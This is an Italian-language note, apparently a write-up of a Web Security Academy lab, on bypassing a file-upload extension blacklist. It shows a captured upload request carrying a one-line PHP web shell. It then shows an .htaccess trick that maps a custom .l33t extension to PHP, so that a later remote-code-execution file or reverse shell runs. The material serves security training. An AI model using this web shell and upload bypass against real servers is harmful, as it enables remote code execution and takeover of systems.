tags: Extension_Blacklist_Bypass File_Upload
Un ulteriore metodo per immettere codice malevolo nella sezione di file upload (soprattutto quando non si riesce ad eseguire il codice) consiste nell’immissione di due file, uno rappresenta un file di configurazione del server come per esempio un .htaccess per Apache, l’altro il vero e proprio exploit.
Per immettere il file di configurazione (in questo caso Apache) possiamo fare nel seguente modo:
Prima ci catturiamo la richiesta per fare l’upload:
POST /my-account/avatar HTTP/2
Host: 0ab400dd03db04d08849e16e00d100ee.web-security-academy.net
Cookie: session=5yx6fBNOk39LSe2S23kSxHZEIuQ9DskA
Content-Length: 441
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="145", "Not:A-Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0ab400dd03db04d08849e16e00d100ee.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfj2s60tRqcR9p5A7
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ab400dd03db04d08849e16e00d100ee.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
------WebKitFormBoundaryfj2s60tRqcR9p5A7
Content-Disposition: form-data; name="avatar"; filename="rce.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryfj2s60tRqcR9p5A7
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundaryfj2s60tRqcR9p5A7
Content-Disposition: form-data; name="csrf"
msVS8HQmS8J2k4mlNKLUWY4ncQy8EGeX
------WebKitFormBoundaryfj2s60tRqcR9p5A7--
Ora modifichiamo il filename, il Content-Type e il contenuto del file nel seguente modo:
filename=".htaccess"
Content-Type: text/plain
#Sostituisci il contenuto del file con il seguente:
AddType application/x-httpd-php .l33t
Ora che abbiamo caricato il file di configurazione del server possiamo caricare una rce o una reverse shell che abbia come estensione .l33t in modo tale che possa essere eseguita.
Oppure lo possiamo fare direttamente dal Reapeter di BurpSuite modificando la sezione filename, Content-Type e Contenuto come fatto in precedenza.
Per eseguire il codice devi come sempre dirigerti nella cartella dove viene caricato il file.